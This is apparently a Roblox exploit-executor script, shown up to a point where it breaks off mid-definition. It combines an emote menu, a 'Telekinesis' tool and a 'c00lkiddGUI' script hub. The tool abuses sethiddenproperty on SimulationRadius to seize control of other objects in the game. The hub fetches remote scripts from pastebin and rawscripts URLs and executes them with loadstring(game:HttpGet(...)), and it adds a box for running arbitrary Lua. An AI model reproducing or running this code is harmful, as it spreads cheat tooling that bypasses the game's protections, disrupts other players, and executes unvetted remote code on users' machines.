addEmote("Teto Territory", 114428584463004, 39, "Aug 08, 2025")
addEmote("Skibidi", 124828909173982, 39, "Aug 08, 2025")
addEmote("Chronoshift", 92600655160976, 39, "Aug 08, 2025")
addEmote("Floating on Clouds", 111426928948833, 39, "Aug 08, 2025")
addEmote("Jersey Joe", 134149640725489, 39, "Aug 08, 2025")
addEmote("Virtual Insanity", 83261816934732, 39, "Aug 09, 2025")
addEmote("Doodle Dance", 107091254142209, 39, "Aug 08, 2025")
addEmote("Subject 3", 83732367439808, 39, "Aug 08, 2025")
addEmote("Club Penguin", 98099211500155, 39, "Aug 09, 2025")
addEmote("Kazotsky", 97629500912487, 39, "Aug 08, 2025")
addEmote("Miku Dance", 117734400993750, 39, "Aug 08, 2025")
addEmote("Deltarune - Tenna Swing", 103139492736941, 39, "Aug 08, 2025")
addEmote("Hakari Dance", 80270168146449, 39, "Aug 08, 2025")
addEmote("Addendum Dance [R6]", 134442882516163, 39, "Aug 09, 2025")
addEmote("Gangnam Style", 77205409178702, 39, "Aug 08, 2025")
addEmote("Push-Up", 117922227854118, 39, "Aug 09, 2025")
addEmote("Split", 98522218962476, 39, "Aug 08, 2025")
addEmote("PROXIMA", 81390693780805, 39, "Aug 08, 2025")
addEmote("HeadBanging", 87447252507832, 39, "Aug 08, 2025")
addEmote("Assumptions", 127507691649322, 39, "Aug 08, 2025")
addEmote("Jumpstyle", 99563839802389, 39, "Aug 08, 2025")
addEmote("Flopping Fish", 133142324349281, 39, "Aug 08, 2025")
addEmote("Kicking Feet Sit", 78758922757947, 39, "Aug 08, 2025")
addEmote("Fancy Feets", 124512151372711, 39, "Aug 08, 2025")
addEmote("Cute Sit", 90244178386698, 39, "Aug 08, 2025")
addEmote("Absolute Cinema", 97258018304125, 39, "Aug 08, 2025")
addEmote("Bubbly Sit", 112758073578333, 39, "Aug 08, 2025")
addEmote("Become A Car", 131544122623505, 39, "Aug 08, 2025")
addEmote("Hiding Human Box", 124935873390035, 39, "Aug 08, 2025")
addEmote("Magical Pose", 135489824748823, 39, "Aug 08, 2025")
addEmote("Griddy", 116065653184749, 39, "Aug 08, 2025")
addEmote("Gon Rage", 139639173024927, 39, "Aug 10, 2025")
addEmote("Become Couch", 93335594132613, 39, "Aug 10, 2025")
addEmote("Spare Change", 126749574427431, 39, "Aug 10, 2025")
addEmote("Paranoid", 123407922818447, 39, "Aug 10, 2025")
addEmote("Kawaii Groove", 77152953688098, 39, "Aug 18, 2025")
addEmote("Ai Cat dance", 136593170936320, 39, "Aug 18, 2025")
addEmote("Smeeze", 131683926643291, 39, "Aug 18, 2025")
addEmote("Onion", 113890289455724, 39, "Aug 18, 2025")
addEmote("Thinking", 124584711308900, 39, "Aug 18, 2025")
addEmote("Little Obbyist", 134584040095037, 39, "Aug 10, 2025")
addEmote("Aura Fly", 78755795767408, 39, "Aug 10, 2025")
addEmote("Invisible", 109899950448992, 39, "Aug 10, 2025")
addEmote("Slenderman", 81926508907412, 39, "Aug 10, 2025")
addEmote("Chill pose", 77058107325712, 39, "Aug 10, 2025")
addEmote("house", 93552301087938, 39, "Aug 10, 2025")
addEmote("baby", 82824758023484, 39, "Aug 10, 2025")
addEmote("zenitsu", 92750276568993, 39, "Aug 10, 2025")
addEmote("gun", 73562814360939, 39, "Aug 10, 2025")
addEmote("Spy Laugh tf2", 137720205462499, 39, "Aug 10, 2025")
addEmote("Head Juggling", 82224981519682, 39, "Aug 09, 2025")
addEmote("Omniman Think", 70560694892323, 39, "Aug 09, 2025")
addEmote("Ishowspeed Shake Dancing", 138386881919239, 39, "Aug 09, 2025")
addEmote("Wait", 106569806588657, 39, "Aug 09, 2025")
addEmote("Shinji Pose", 97629500912487, 39, "Aug 09, 2025")
addEmote("Come At Me [ R6 ]", 107758370940834, 39, "Aug 09, 2025")
addEmote("Oscillating Fan", 71493999860590, 39, "Aug 09, 2025")
addEmote("Locked In", 110145155419199, 39, "Aug 10, 2025")
addEmote("BirdBrain", 105730788757021, 39, "Aug 10, 2025")
addEmote("Hakari (FULL)", 71056659089869, 39, "Aug 09, 2025")
addEmote("How A Creeper Walk", 108714986908463, 39, "Aug 10, 2025")
addEmote("Hakari (R6)", 127103118569243, 39, "Aug 10, 2025")
addEmote("Strongest Stance", 80146495484274, 39, "Aug 09, 2025")
addEmote("Cat Things", 131193808160056, 39, "Aug 09, 2025")
addEmote("Doggy Things", 105206768873249, 39, "Aug 09, 2025")
addEmote("Wally West Edit", 72247161810866, 39, "Aug 09, 2025")
addEmote("24 Hour Cinderella", 122972776209997, 39, "Aug 09, 2025")
addEmote("Mesmerizer", 92707348383277, 39, "Aug 15, 2025")
addEmote("Stylish Float", 97497383284399, 39, "Aug 15, 2025")
addEmote("SpongeBob Shuffle", 107899954696611, 39, "Aug 15, 2025")
addEmote("Electro Shuffle", 96426537876059, 39, "Aug 13, 2025")
addEmote("Foreign Shuffle", 101507732056031, 39, "Aug 13, 2025")
addEmote("Caipirinha", 100165303717371, 39, "Aug 15, 2025")
addEmote("Squidward Yell", 109244554368414, 39, "Aug 15, 2025")
addEmote("Hakari (Forsaken)", 73271793399763, 39, "Aug 15, 2025")
addEmote("Teto Dance", 93031502567721, 39, "Aug 15, 2025")
addEmote("Michael Myers", 88229016850146, 39, "Aug 15, 2025")
addEmote("Gun Shoot", 105055412595333, 39, "Aug 15, 2025")
addEmote("Torture Dance", 116099356619436, 39, "Aug 16, 2025")
addEmote("Yapping Yap Yap Gesture",119870339321091, 39, "Aug 16, 2025")
addEmote("Luxurious / Springtrap",132151459316300 , 39, "Aug 16, 2025")
addEmote("Hand Drill",103882178542598 , 39, "Aug 16, 2025")
addEmote("exclamation",82714556886471 , 39, "Aug 16, 2025")
addEmote("Mewing / Mogging",135493514352956 , 39, "Aug 16, 2025")
addEmote("lemon melon cookie - Miku",79874689836683 , 39, "Aug 16, 2025")
addEmote("Cute Jump",80556794144838, 39, "Aug 16, 2025")
addEmote("Billy Bounce", 126516908191316, 39, "Aug 15, 2025")
addEmote("What U Want / Prince Egypt", 133751526608969, 39, "Aug 15, 2025")
addEmote("Rabbit Hole - Miku", 133481721436918, 39, "Aug 15, 2025")
addEmote("Garou", 86200585395371, 39, "Aug 09, 2025")
addEmote("Dio Pose", 76736978166708, 39, "Aug 09, 2025")
addEmote("Golden Freddy", 122463450997235, 39, "Aug 09, 2025")
addEmote("Noclip, Speed", 137006085779408, 39, "Aug 09, 2025")
addEmote("Static [Hatsune Miku]", 84534006084837, 39, "Aug 09, 2025")
addEmote("GOALL", 78830825254717, 39, "Aug 09, 2025")
addEmote("Lethal Dance", 77108921633993, 39, "Aug 09, 2025")
addEmote("Plug Walk", 100359724990859, 39, "Aug 09, 2025")
addEmote("At Ease", 76993139936388, 39, "Aug 09, 2025")
addEmote("Conga", 97547955535086, 39, "Aug 09, 2025")
addEmote("Barrel", 84511772437190, 39, "Aug 08, 2025")
addEmote("Helicopter", 84555218084038, 39, "Aug 08, 2025")
addEmote("Aura Farm Boat", 88042995626011, 39, "Aug 09, 2025")
addEmote("Prince Of Egypt", 134063402217274, 39, "Aug 08, 2025")
addEmote("Jersey Joe2", 115782117564871, 39, "Aug 09, 2025")
addEmote("Deltarune - Tenna Dance", 73715378215546, 39, "Aug 08, 2025")
addEmote("California Girl", 132074413582912, 39, "Aug 08, 2025")
addEmote("Default Dance", 80877772569772, 39, "Aug 08, 2025")
addEmote("Shocked meme", 129501229484294, 39, "Aug 08, 2025")
addEmote("Family Guy", 78459263478161, 39, "Aug 08, 2025")
addEmote("Car Transformation", 96887377943085, 39, "Aug 08, 2025")
addEmote("Insanity", 129843344424281, 39, "Aug 08, 2025")
addEmote("Honored One", 121643381580730, 39, "Aug 08, 2025")
addEmote("Sukuna", 91839607010745, 39, "Aug 08, 2025")
addEmote("Dropper", 130358790702800, 39, "Aug 08, 2025")
addEmote("Be Not Afraid", 70635223083942, 39, "Aug 08, 2025")
addEmote("Macarena", 91274761264433, 39, "Aug 08, 2025")
addEmote("Helicopter2", 119431985170060, 39, "Aug 08, 2025")
addEmote("RONALDO", 97547486465713, 39, "Aug 08, 2025")
addEmote("Nya Anime Dance", 126647057611522, 39, "Aug 08, 2025")
addEmote("Do that thang", 113772829398170, 39, "Aug 08, 2025")
addEmote("Squat?", 95441477641149, 39, "Aug 08, 2025")
addEmote("Slickback", 103789826265487, 39, "Aug 08, 2025")
--wait for emotes to finish loading
local function EmotesLoaded()
for i, loaded in pairs(LoadedEmotes) do
if not loaded then
return false
end
end
return true
end
while not EmotesLoaded() do
task.wait()
end
Loading:Destroy()
--sorting options setup
table.sort(Emotes, function(a, b)
return a.lastupdated > b.lastupdated
end)
for i,v in pairs(Emotes) do
v.sort.recentfirst = i
end
table.sort(Emotes, function(a, b)
return a.lastupdated < b.lastupdated
end)
for i,v in pairs(Emotes) do
v.sort.recentlast = i
end
table.sort(Emotes, function(a, b)
return a.name:lower() < b.name:lower()
end)
for i,v in pairs(Emotes) do
v.sort.alphabeticfirst = i
end
table.sort(Emotes, function(a, b)
return a.name:lower() > b.name:lower()
end)
for i,v in pairs(Emotes) do
v.sort.alphabeticlast = i
end
table.sort(Emotes, function(a, b)
return a.price < b.price
end)
for i,v in pairs(Emotes) do
v.sort.lowestprice = i
end
table.sort(Emotes, function(a, b)
return a.price > b.price
end)
for i,v in pairs(Emotes) do
v.sort.highestprice = i
end
if isfile("FavoritedEmotes.txt") then
if not pcall(function()
FavoritedEmotes = HttpService:JSONDecode(readfile("FavoritedEmotes.txt"))
end) then
FavoritedEmotes = {}
end
else
writefile("FavoritedEmotes.txt", HttpService:JSONEncode(FavoritedEmotes))
end
local UpdatedFavorites = {}
for i,name in pairs(FavoritedEmotes) do
if typeof(name) == "string" then
for i,emote in pairs(Emotes) do
if emote.name == name then
table.insert(UpdatedFavorites, emote.id)
break
end
end
end
end
if #UpdatedFavorites ~= 0 then
FavoritedEmotes = UpdatedFavorites
writefile("FavoritedEmotes.txt", HttpService:JSONEncode(FavoritedEmotes))
end
local function CharacterAdded(Character)
for i,v in pairs(Frame:GetChildren()) do
if not v:IsA("UIGridLayout") then
v:Destroy()
end
end
local Humanoid = WaitForChildOfClass(Character, "Humanoid")
local Description = Humanoid:WaitForChild("HumanoidDescription", 5) or Instance.new("HumanoidDescription", Humanoid)
local random = Instance.new("TextButton")
local Ratio = Instance.new("UIAspectRatioConstraint")
Ratio.AspectType = Enum.AspectType.ScaleWithParentSize
Ratio.Parent = random
random.LayoutOrder = 0
random.TextColor3 = Color3.new(1, 1, 1)
random.BorderSizePixel = 0
random.BackgroundTransparency = 0.5
random.BackgroundColor3 = Color3.new(0, 0, 0)
random.TextScaled = true
random.Text = "Random"
random:SetAttribute("name", "")
Corner:Clone().Parent = random
random.MouseButton1Click:Connect(function()
local randomemote = Emotes[math.random(1, #Emotes)]
PlayEmote(randomemote.name, randomemote.id)
end)
random.MouseEnter:Connect(function()
EmoteName.Text = "Random"
end)
random.Parent = Frame
for i,Emote in pairs(Emotes) do
Description:AddEmote(Emote.name, Emote.id)
local EmoteButton = Instance.new("ImageButton")
local IsFavorited = table.find(FavoritedEmotes, Emote.id)
EmoteButton.LayoutOrder = Emote.sort[CurrentSort] + ((IsFavorited and 0) or #Emotes)
EmoteButton.Name = Emote.id
EmoteButton:SetAttribute("name", Emote.name)
Corner:Clone().Parent = EmoteButton
EmoteButton.Image = Emote.icon
EmoteButton.BackgroundTransparency = 0.5
EmoteButton.BackgroundColor3 = Color3.new(0, 0, 0)
EmoteButton.BorderSizePixel = 0
Ratio:Clone().Parent = EmoteButton
local EmoteNumber = Instance.new("TextLabel")
EmoteNumber.Name = "number"
EmoteNumber.TextScaled = true
EmoteNumber.BackgroundTransparency = 1
EmoteNumber.TextColor3 = Color3.new(1, 1, 1)
EmoteNumber.BorderSizePixel = 0
EmoteNumber.AnchorPoint = Vector2.new(0.5, 0.5)
EmoteNumber.Size = UDim2.new(0.2, 0, 0.2, 0)
EmoteNumber.Position = UDim2.new(0.1, 0, 0.9, 0)
EmoteNumber.Text = Emote.sort[CurrentSort]
EmoteNumber.TextXAlignment = Enum.TextXAlignment.Center
EmoteNumber.TextYAlignment = Enum.TextYAlignment.Center
local UIStroke = Instance.new("UIStroke")
UIStroke.Transparency = 0.5
UIStroke.Parent = EmoteNumber
EmoteNumber.Parent = EmoteButton
EmoteButton.Parent = Frame
EmoteButton.MouseButton1Click:Connect(function()
PlayEmote(Emote.name, Emote.id)
end)
EmoteButton.MouseEnter:Connect(function()
EmoteName.Text = Emote.name
end)
local Favorite = Instance.new("ImageButton")
Favorite.Name = "favorite"
if table.find(FavoritedEmotes, Emote.id) then
Favorite.Image = FavoriteOn
else
Favorite.Image = FavoriteOff
end
Favorite.AnchorPoint = Vector2.new(0.5, 0.5)
Favorite.Size = UDim2.new(0.2, 0, 0.2, 0)
Favorite.Position = UDim2.new(0.9, 0, 0.9, 0)
Favorite.BorderSizePixel = 0
Favorite.BackgroundTransparency = 1
Favorite.Parent = EmoteButton
Favorite.MouseButton1Click:Connect(function()
local index = table.find(FavoritedEmotes, Emote.id)
if index then
table.remove(FavoritedEmotes, index)
Favorite.Image = FavoriteOff
EmoteButton.LayoutOrder = Emote.sort[CurrentSort] + #Emotes
else
table.insert(FavoritedEmotes, Emote.id)
Favorite.Image = FavoriteOn
EmoteButton.LayoutOrder = Emote.sort[CurrentSort]
end
writefile("FavoritedEmotes.txt", HttpService:JSONEncode(FavoritedEmotes))
end)
end
for i=1,9 do
local EmoteButton = Instance.new("Frame")
EmoteButton.LayoutOrder = 2147483647
EmoteButton.Name = "filler"
EmoteButton.BackgroundTransparency = 1
EmoteButton.BorderSizePixel = 0
Ratio:Clone().Parent = EmoteButton
EmoteButton.Visible = true
EmoteButton.Parent = Frame
EmoteButton.MouseEnter:Connect(function()
EmoteName.Text = "Select an Emote"
end)
end
end
if LocalPlayer.Character then
CharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:Connect(CharacterAdded)
wait(1)
game.CoreGui.Emotes.Enabled = true
game:GetService("StarterGui"):SetCore("SendNotification",{
Title = "Done!",
Text = "Emotes gui is here!",
Duration = 10})
game.Players.LocalPlayer.PlayerGui.ContextActionGui:Destroy()
end)
end;
task.spawn(C_18);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_1a()
local script = G2L["1a"];
script.Parent.MouseButton1Click:Connect(function()
local re=game:GetService("Workspace")
local sandbox=function(var,func)
local env=getfenv(func)
local newenv=setmetatable({},{
__index=function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors={}
local _Name="Telekinesis V5"
local uis=game:GetService("UserInputService")
local _Ins, _CF_new, _VTR_new=Instance.new, CFrame.new, Vector3.new
mas=_Ins("Model",game:GetService("Lighting"))
local con=getfenv().sethiddenproperty
Tool0=_Ins("Tool")
Part1=_Ins("Part")
Script2=_Ins("Script")
local selectionbox=Instance.new("SelectionBox", game:GetService("Players").LocalPlayer.Character)
selectionbox.LineThickness=0.3
selectionbox.Color3=Color3.fromRGB(255, 255, 255)
LocalScript3=_Ins("LocalScript")
re=game:GetService("RunService")
Tool0.Name=_Name
Tool0.Parent=mas
Tool0.Grip=_CF_new(0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Tool0.GripPos=_VTR_new(0, 0, 1)
Part1.Name="Handle"
Part1.Parent=Tool0
local changed="Changed"
Part1.CFrame=_CF_new(-3.5, 5.30000019, -3.5, 1, 0, 0, 0, -1, 0, 0, 0, -1)
Part1.Orientation=_VTR_new(0, 180, 180)
Part1.Position=_VTR_new(-3.5, 5.300000190734863, -3.5)
Part1.Rotation=_VTR_new(-180, 0, 0)
Part1.Color=Color3.new(0.972549, 0.972549, 0.972549)
Part1.Transparency=1
local cam=re.RenderStepped
local w=wait
Part1.Size=_VTR_new(1, 1, 1)
Part1.BottomSurface=Enum.SurfaceType.Smooth
Part1.BrickColor=BrickColor.new("Institutional white")
Part1.Locked=true
local speed=31
local mb=uis.TouchEnabled
Part1.TopSurface=Enum.SurfaceType.Smooth
Part1.brickColor=BrickColor.new("Institutional white")
Script2.Name="LineConnect"
Script2.Parent=Tool0
local Sound=_Ins("Sound", game.Workspace)
Sound.SoundId="rbxassetid://1092093337"
Sound:Play()
cam:Connect(function() if con then con(game:GetService("Players").LocalPlayer, changed, speed) end end)
table.insert(cors,sandbox(Script2,function()
w()
local check=script.Part2
local part1=script.Part1.Value
local part2=script.Part2.Value
local parent=script.Par.Value
local color=script.Color
local line=_Ins("Part")
line.TopSurface=0
line.BottomSurface=0
line.Reflectance=.5
line.Name="Laser"
line.Locked=true
line.CanCollide=false
line.Anchored=true
line.formFactor=0
line.Size=_VTR_new(1,1,1)
local mesh=_Ins("BlockMesh")
mesh.Parent=line
while true do
if (check.Value==nil) then break end
if (part1==nil or part2==nil or parent==nil) then break end
if (part1.Parent==nil or part2.Parent==nil) then break end
if (parent.Parent==nil) then break end
local lv=_CF_new(part1.Position,part2.Position)
local dist=(part1.Position-part2.Position).magnitude
line.Parent=parent
line.BrickColor=color.Value.BrickColor
line.Reflectance=color.Value.Reflectance
line.Transparency=color.Value.Transparency
line.CFrame=_CF_new(part1.Position+lv.lookVector*dist/2)
line.CFrame=_CF_new(line.Position,part2.Position)
mesh.Scale=_VTR_new(.25,.25,dist)
w()
end
line:remove()
script:remove()
end))
changed="SimulationRadius"
Script2.Disabled=true
LocalScript3.Name="MainScript"
LocalScript3.Parent=Tool0
table.insert(cors,sandbox(LocalScript3,function()
w()
tool=script.Parent
lineconnect=tool.LineConnect
object=nil
mousedown=false
found=false
BP=_Ins("BodyPosition")
BP.maxForce=_VTR_new(math.huge*math.huge,math.huge*math.huge,math.huge*math.huge) --pwns everyone elses bodyposition
BP.P=BP.P*3
dist=nil
point=_Ins("Part")
point.Locked=true
point.Anchored=true
point.formFactor=0
point.Shape=0
point.BrickColor=BrickColor.Blue()
point.Size=_VTR_new(1,1,1)
point.CanCollide=false
local mesh=_Ins("SpecialMesh")
mesh.MeshType="Sphere"
mesh.Scale=_VTR_new(.7,.7,.7)
mesh.Parent=point
handle=tool.Handle
front=tool.Handle
color=tool.Handle
objval=nil
local hooked=false
local hookBP=BP:clone()
hookBP.maxForce=_VTR_new(30000,30000,30000)
local LineConnect=function(part1,part2,parent)
local p1=_Ins("ObjectValue")
p1.Value=part1
p1.Name="Part1"
local p2=_Ins("ObjectValue")
p2.Value=part2
p2.Name="Part2"
local par=_Ins("ObjectValue")
par.Value=parent
par.Name="Par"
local col=_Ins("ObjectValue")
col.Value=color
col.Name="Color"
local s=lineconnect:clone()
s.Disabled=false
p1.Parent=s
p2.Parent=s
par.Parent=s
col.Parent=s
s.Parent=workspace
if (part2==object) then
objval=p2
end
end
local onButton1Down=function(mouse)
if (mousedown==true) then return end
mousedown=true
coroutine.resume(coroutine.create(function()
local p=point:clone()
p.Parent=tool
LineConnect(front,p,workspace)
while (mousedown==true) do
p.Parent=tool
if (object==nil) then
if (mouse.Target==nil) then
local lv=_CF_new(front.Position,mouse.Hit.p)
p.CFrame=_CF_new(front.Position+(lv.lookVector*1000))
else
p.CFrame=_CF_new(mouse.Hit.p)
end
else
LineConnect(front,object,workspace)
break
end
w()
end
p:remove()
end))
while (mousedown==true) do
if (mouse.Target~=nil) then
local t=mouse.Target
if (t.Anchored==false) then
object=t
selectionbox.Adornee=object
dist=(object.Position-front.Position).magnitude
break
end
end
w()
end
while (mousedown==true) do
if (object.Parent==nil) then break end
local lv=_CF_new(front.Position,mouse.Hit.p)
BP.Parent=object
BP.position=front.Position+lv.lookVector*dist
w()
end
BP:remove()
object=nil
objval.Value=nil
selectionbox.Adornee=nil
end
local onKeyDown=function(key,mouse)
local key=key:lower()
local yesh=false
if (key=="q") then
if (dist>=5) then
dist=dist-5
end
end
if (key=="u") then
if (dist ~=1) then
BX=_Ins("BodyGyro")
BX.MaxTorque=_VTR_new(math.huge,0,math.huge)
BX.CFrame=BX.CFrame * CFrame.Angles(0, math.rad(45), 0)
BX.D=0
BX.Parent=object
--object.CFrame=CFrame.Angles(math.rad(90), 0,0) -- not used
--object.Orientation=_VTR_new(50,0,0)
--BX.Orientation=_VTR_new(23,0,0)
end
end
if (key=="p") then
if (dist ~=1) then
BX=_Ins("BodyVelocity")
BX.maxForce=_VTR_new(0,math.huge,0)
BX.velocity=_VTR_new(0,1,0)
--BX.CFrame=BX.CFrame * CFrame.Angles(0, math.rad(45), 0)
BX.Parent=object
end
end
if key == "l" then
if (object==nil) then return end
for _,v in pairs(object:children()) do
if v.className == "BodyGyro" then
return nil
end
end
BG=_Ins("BodyGyro")
BG.maxTorque=_VTR_new(math.huge,math.huge,math.huge)
BG.cframe=_CF_new(object.CFrame.p)
BG.Parent=object
repeat w() until(object.CFrame == _CF_new(object.CFrame.p))
BG.Parent=nil
if (object==nil) then return end
for _,v in pairs(object:children()) do
if v.className == "BodyGyro" then
v.Parent=nil
end
end
object.Velocity=_VTR_new(0,0,0)
object.RotVelocity=_VTR_new(0,0,0)
end
if (key=="y") then
if (dist ~=100) then
dist=100
end
end
if (key=="j") then
if (dist~=5000) then
dist=5000
end
end
if (key=="e") then
dist=dist+5
end
if (key=="x") then
if dist ~= 15 then
dist=15
end
end
end
local onEquipped=function(mouse)
keymouse=mouse
local char=tool.Parent
human=char.Humanoid
human.Changed:connect(function() if (human.Health==0) then mousedown=false BP:remove() point:remove() tool:remove() end end)
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
mouse.KeyDown:connect(function(key) onKeyDown(key,mouse) end)
mouse.Icon="rbxasset://textures\\GunCursor.png"
if mb then
uis.TouchLongPress:Connect(function() onKeyDown("y",mouse) end)
uis.TouchEnded:Connect(function() mousedown=false end)
else
mouse.Button1Up:connect(function() mousedown=false end)
end
end
tool.Equipped:connect(onEquipped)
tool.Unequipped:connect(function() mousedown=false end)
end))
for i,v in pairs(mas:GetChildren()) do
v.Parent=game:GetService("Players").LocalPlayer.Backpack
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
end)
end;
task.spawn(C_1a);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_1c()
local script = G2L["1c"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame4.Visible = true
script.Parent.Parent.Parent.Frame3.Visible = false
script.Parent.Parent.Parent.Frame4.Position = script.Parent.Parent.Parent.Frame3.Position
end)
end;
task.spawn(C_1c);
-- StarterGui.ScreenGui.Frame2.DraggableFrame
local function C_1e()
local script = G2L["1e"];
local frame = script.Parent
local UserInputService = game:GetService("UserInputService")
local dragging = false
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
frame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
frame.InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if dragging and input == dragInput then
update(input)
end
end)
end;
task.spawn(C_1e);
-- StarterGui.ScreenGui.Frame2.TextButton.LocalScript
local function C_20()
local script = G2L["20"];
local ogtext = script.Parent.Text
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Parent.Frame2:Destroy()
end)
end;
task.spawn(C_20);
-- StarterGui.ScreenGui.Frame1.TextButton.LocalScript
local function C_25()
local script = G2L["25"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local UIS = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local TouchEnabled = UIS.TouchEnabled
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "c00lkiddGUI_V1"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 500, 0, 350)
mainFrame.Position = UDim2.new(0.5, -250, 0.5, -175)
mainFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
mainFrame.BorderSizePixel = 0
mainFrame.AnchorPoint = Vector2.new(0.5, 0.5)
mainFrame.ClipsDescendants = true
mainFrame.Parent = screenGui
local uiCorner = Instance.new("UICorner")
uiCorner.CornerRadius = UDim.new(0, 10)
uiCorner.Parent = mainFrame
local titleLabel = Instance.new("TextLabel")
titleLabel.Size = UDim2.new(0, 200, 0, 30)
titleLabel.Position = UDim2.new(0, 10, 0, 10)
titleLabel.BackgroundTransparency = 1
titleLabel.TextColor3 = Color3.fromRGB(255, 50, 50)
titleLabel.TextScaled = true
titleLabel.Font = Enum.Font.GothamBold
titleLabel.Text = "c00lkiddGUI V1"
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.Parent = mainFrame
local dragging = false
local dragInput, dragStart, startPos
local function update(input)
local delta = input.Position - dragStart
mainFrame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
mainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or (TouchEnabled and input.UserInputType == Enum.UserInputType.Touch) then
dragging = true
dragStart = input.Position
startPos = mainFrame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
mainFrame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or (TouchEnabled and input.UserInputType == Enum.UserInputType.Touch) then
dragInput = input
end
end)
UIS.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
local tabNames = {"Hub","Executor","Credits","Logs"}
local tabs = {}
local buttonWidth = 120
for i, name in ipairs(tabNames) do
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, buttonWidth, 0, 30)
btn.Position = UDim2.new(0, 10 + (i-1)*(buttonWidth + 5), 0, 50)
btn.BackgroundColor3 = Color3.fromRGB(150, 0, 0)
btn.TextColor3 = Color3.fromRGB(255, 255, 255)
btn.Font = Enum.Font.GothamBold
btn.Text = name
btn.Parent = mainFrame
tabs[name] = Instance.new("Frame")
tabs[name].Size = UDim2.new(1, -20, 1, -90)
tabs[name].Position = UDim2.new(0, 10, 0, 90)
tabs[name].BackgroundColor3 = Color3.fromRGB(15,15,15)
tabs[name].Visible = false
tabs[name].Parent = mainFrame
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0,10)
corner.Parent = tabs[name]
btn.MouseButton1Click:Connect(function()
for _, f in pairs(tabs) do f.Visible = false end
tabs[name].Visible = true
end)
end
local hub = tabs["Hub"]
local hubScroll = Instance.new("ScrollingFrame")
hubScroll.Size = UDim2.new(1, -10, 1, -10)
hubScroll.Position = UDim2.new(0, 5, 0, 5)
hubScroll.BackgroundTransparency = 1
hubScroll.ScrollBarThickness = 8
hubScroll.CanvasSize = UDim2.new(0,0,0,0)
hubScroll.Parent = hub
local hubLayout = Instance.new("UIListLayout")
hubLayout.Padding = UDim.new(0, 10)
hubLayout.SortOrder = Enum.SortOrder.LayoutOrder
hubLayout.Parent = hubScroll
local hubScripts = {
{"c00lkidd utg", "https://pastebin.com/raw/iwMzX8XG"},
{"Goner", "https://rawscripts.net/raw/Universal-Script-Goner-47954"},
{"UTG client replication", "https://rawscripts.net/raw/Client-Replication-UTG-for-client-replication-38612"},
{"Xester V1", "https://rawscripts.net/raw/Prison-Life-Xester-18937"},
{"Skybox + decal [Working]", "https://pastebin.com/raw/nDR4H6nx"},
{"Caducus Require", "https://pastebin.com/raw/XJeBNe0s"}
}
for _, v in ipairs(hubScripts) do
local button = Instance.new("TextButton")
button.Size = UDim2.new(0.95,0,0,30)
button.BackgroundColor3 = Color3.fromRGB(50,0,0)
button.TextColor3 = Color3.fromRGB(255,255,255)
button.Font = Enum.Font.GothamBold
button.Text = v[1]
button.Parent = hubScroll
button.MouseButton1Click:Connect(function()
local success, err = pcall(function()
loadstring(game:HttpGet(v[2]))()
end)
if not success then warn(err) end
end)
end
local extraButton = Instance.new("TextButton")
extraButton.Size = UDim2.new(0.95,0,0,30)
extraButton.BackgroundColor3 = Color3.fromRGB(50,0,0)
extraButton.TextColor3 = Color3.fromRGB(255,255,255)
extraButton.Font = Enum.Font.GothamBold
extraButton.Text = "Skybox + decal [Not working]"
extraButton.Parent = hubScroll
extraButton.MouseButton1Click:Connect(function()
local success, err = pcall(function()
loadstring(game:HttpGet("https://pastebin.com/raw/C0olSkyDecal"))()
end)
if not success then warn(err) end
end)
hubLayout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
hubScroll.CanvasSize = UDim2.new(0,0,0,hubLayout.AbsoluteContentSize.Y + 10)
end)
local executor = tabs["Executor"]
local codeBox = Instance.new("TextBox")
codeBox.Size = UDim2.new(0.9,0,0.6,0)
codeBox.Position = UDim2.new(0.05,0,0.05,0)
codeBox.BackgroundColor3 = Color3.fromRGB(30,30,30)
codeBox.TextColor3 = Color3.fromRGB(255,255,255)
codeBox.ClearTextOnFocus = false
codeBox.TextWrapped = true
codeBox.MultiLine = true
codeBox.PlaceholderText = "Paste your Lua code or loadstring here"
codeBox.Parent = executor
local execButton = Instance.new("TextButton")
execButton.Size = UDim2.new(0.27,0,0.1,0)
execButton.Position = UDim2.new(0.05,0,0.7,0)
execButton.BackgroundColor3 = Color3.fromRGB(200,0,0)
